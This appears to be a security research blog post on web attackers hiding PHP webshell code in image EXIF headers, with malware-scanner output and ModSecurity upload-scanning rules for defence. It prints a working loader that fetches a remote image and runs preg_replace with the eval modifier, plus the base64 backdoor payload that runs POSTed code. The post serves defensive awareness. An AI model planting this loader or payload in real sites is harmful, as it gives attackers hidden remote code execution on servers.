First appearances may be deceiving... Web
attackers have have been using a method of stashing pieces of their PHP
backdoor exploit code within the meta-data headers of these image files
to evade detections. This is not a completely new tactic however it is
not as well known by the defensive community so we want to raise
awareness. Let's first take a quick look at why this technique is being
utlized by attackers.
Standard Webshell Backdoor Code
There are many methods attackers employ to upload Webshell backdoor code onto compromised web servers including
Remote File Inclusion (RFI),
Wordpress TimThumb Plugin
and even non-web attack vectors such as Stolen FTP Credentials. Here
is a graphic taken from this years Trustwave SpiderLabs Global Security
Report that lists the top malicious file types uploaded to compromised
web servers:

Let's take a look at a standard obfuscated R57 shell example:

Notice
the Base64 encoded parameter data and then the PHP Eval call at the
end. Once PHP executes this code, it will decode and inflate the data
stream and the result will be a basic file uploader webshell similar to
the following:
Incident Response Steps - Identification and Eradication
These types of attacks and compromises are so prevalent in Shared
Hosting environments where end users do not properly update their web
application software. In response to these types of scenarios, Hosting
Provider security teams often employ OS-level back-end processes that
scan the local file systems looking for tell-tale signs of webshell
backdoor code. One example tool is called
MalDetect.
This script can be run to analyze files and detect various forms of
malicious code. If we run maldetect against our example R57 webshell
file we get the following:
$ sudo /usr/local/maldetect/maldet --config-option quar_hits=0,quar_clean=0,clamav_scan=1 -a "/tmp/lin.php"
Linux Malware Detect v1.4.2
(C) 2002-2013, R-fx Networks <proj@r-fx.org>
(C) 2013, Ryan MacDonald <ryan@r-fx.org>
inotifywait (C) 2007, Rohan McGovern <rohan@mcgovern.id.au>
This program may be freely redistributed under the terms of the GNU GPL v2
maldet(92294): {scan} signatures loaded: 9011 (7145 MD5 / 1866 HEX)
maldet(92294): {scan} building file list for /tmp/lin.php, this might take awhile...
maldet(92294): {scan} file list completed, found 1 files...
maldet(92294): {scan} 1/1 files scanned: 0 hits 0 cleaned
maldet(92294): {scan} scan completed on /tmp/lin.php: files 1, malware hits 1, cleaned hits 0
maldet(92294): {scan} scan report saved, to view run: maldet --report 101113-1250.92294
maldet(92294): {scan} quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294
$ sudo maldet --report 101113-1250.92294
malware detect scan report for MacBook-Pro-2.local:
SCAN ID: 101113-1250.92294
TIME: Oct 11 12:50:48 -0400
PATH: /tmp/lin.php
TOTAL FILES: 1
TOTAL HITS: 1
TOTAL CLEANED: 0
NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294
FILE HIT LIST:
{MD5}base64.inject.unclassed.1 : /tmp/lin.php
===============================================
Linux Malware Detect v1.4.2 < proj@rfxn.com >
As you can see, maldetect identified this PHP file with of of its
generic base64 injection signatures. While this indivudual file
scanning does work, for managability, most organizations opt to run
maldetect as part of an ogoing automated process run through scheduling
tools such as Cron. The big problem with this process is that, for
performance reasons, many organizations opt to only scan PHP files and
exclude other file types from being scanned...
Hiding Webshell Backdoor Code in Image Files
This brings us back to the beginning of the blog post. Due to the
cleanup tactics used by most organizations, the bad guys had to figure
out a method of hiding their backdoor code in places that most likely
would not be inspected. In this case, we are talking about hiding PHP
code data within the
Exif image header fields.
The concept of Stegonography is not new and there have been many past
examples of its use for passing data, however we are now seeing it used
for automated code execution. I do want to give a proper hat-tip to the
Sucuri Research Team who also found similar techniques being employed.
PHP Code In EXIF Headers
If you were to view-source in a browser or use something like the
unix strings command, you could see the new code added to the top of the
image files:

After uploading this file to
VirusTotal, you can see a more friendly representation of the EXIF fields:

As you can see, the PHP code is held within the EXIF "Model" and
"Make" fields. This data does not in any way interfere with the proper
rendering of the image file itself.
PHP's exif_read_data function
PHP has a function called
exif_read_data which allows it to read the header data of image files. It is used
extensivly in many different plugins and tools. Here is an example from Facebook's GitHub Repo:
Updated PHP Webshell Code
So, with pieces of their webshell stashes away within the EXIF
headers of either local or remote image files, the attackers can then
modify their PHP code to leverage the PHP exif_read_data function like
this:
<?php
$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>
The first line downloads a remote jpg image file with the stashes
code in it and then sets the $exif variable with the array value. We
can modify this PHP code to simulate this by downloading the same files
and then dumping the $exif data:
<?
$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
var_dump($exif);
?>
When executing this php file, we get the following output:
$ php ./exif_dumper.php
array(9) {
["FileName"]=>
string(18) "Logo_Coveright.jpg"
["FileDateTime"]=>
int(0)
["FileSize"]=>
int(6159)
["FileType"]=>
int(2)
["MimeType"]=>
string(10) "image/jpeg"
["SectionsFound"]=>
string(13) "ANY_TAG, IFD0"
["COMPUTED"]=>
array(5) {
["html"]=>
string(23) "width="155" height="77""
["Height"]=>
int(77)
["Width"]=>
int(155)
["IsColor"]=>
int(1)
["ByteOrderMotorola"]=>
int(0)
}
["Make"]=>
string(5) "/.*/e"
["Model"]=>
string(108) "eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));"
}
The final setup in this process is to execute the PHP
preg_replace function.
<?php
$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>
Notice that the $exif['Make'] variable data uses the "/.*/e" PCRE
regex modifier (PREG_REPLACE_EVAL) which will evaluate the data from the
$exif['Model'] variable. In this case, it would execute the
base64_decode which results in the following PHP snippet of code:
if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
This code checks to see if there is a POST request body named "zz1"
and if there is, it will then eval the contents. This makes it quite
easy for attackers to sprinkle backdoor access code by injecting other
legitimate PHP files with this combination of exif_read_data and
preg_replace code.
How Widespread?
We can not accurately estimate how widespread this technique is being
used however there is a small amount of empirical evidence by simply
using public search engines to flag any web pages that list
characteristics of either EXIF code hiding or searching for this
specific base64 encoded string value.

There are hundreds of examples of this base64 encoded data being present within image files.
Recommendations
Scan All Files for Malicious Code
If you are running OS level scanning of files on disk, carefully
consider which file-types you want to include/exclude. As this scenario
shows, attackers can take advantage of your excluded content to hide
their code.
Scan Files During Attachment Uploading using ModSecurity
When end users are uploading images as file attachments, ModSecurity has the ability to:
- Extract the file and dump it to a tmp file on disk
- Execute the @inspectFile operator to analyze the file
- Block uploading if malware is found
The maldetect
README file even includes instructions on how to integrate it with ModSecurity:
.: 12 [ MODSECURITY2 UPLOAD SCANNING ]
The support for HTTP upload scanning is provided through mod_security2's inspectFile hook.
This feature allows for a validation script to be used in permitting or denying an upload.
The convenience script to faciliate this is called modsec.sh and is located in the
/usr/local/maldetect installation path. The default setup is to run a standard maldet scan
with no clamav support, no cleaner rule executions and quarantining enabled; these options
are set in the interest of performance vs accuracy which is a fair tradeoff.
The scan options can be modified in the modsec.sh file if so desired, the default
scan options are as follows:
--config-option quar_hits=1,quar_clean=0,clamav_scan=0 --modsec -a "$file"
There is a tangible performance difference in disabling clamav scanning in this usage
scenario. The native LMD scanner engine is much faster than the clamav scanner engine
in single file scans by a wide margin. A single file scan using clamav takes roughly
3sec on average while the LMD scanner engine takes 0.5sec or less.
To enable upload scanning with mod_security2 you must set enable the public_scan option
in conf.maldet (public_scan=1) then add the following rules to your mod_security2
configuration. These rules are best placed in your modsec2.user.conf file on cpanel servers
or at the top of the appropraite rules file for your setup.
/usr/local/apache/conf/modsec2.user.conf (or similar mod_security2 rules file):
SecRequestBodyAccess On
SecRule FILES_TMPNAMES "@inspectFile /usr/local/maldetect/modsec.sh" \
"log,auditlog,deny,severity:2,phase:2,t:none"
A restart of the HTTPd service is required following these changes.
When an upload takes place that is determined to be malware, it will be rejected and an
entry will appear in the mod_security2 SecAuditLog file. On cpanel servers and most
configurations this is the modsec_audit.log located under /usr/local/apache/logs or
/var/log/httpd.
The log entry will appear similar to the following:
Message: Access denied with code 406 (phase 2). File "/tmp/20111120-....-file" rejected by
the approver script "/usr/local/maldetect/modsec.sh": 0 maldet: {HEX}php.cmdshell.r57.317
/tmp/20111120-....-file [file "/usr/local/apache/conf/modsec2.user.conf"] [line "3"]
[severity "CRITICAL"]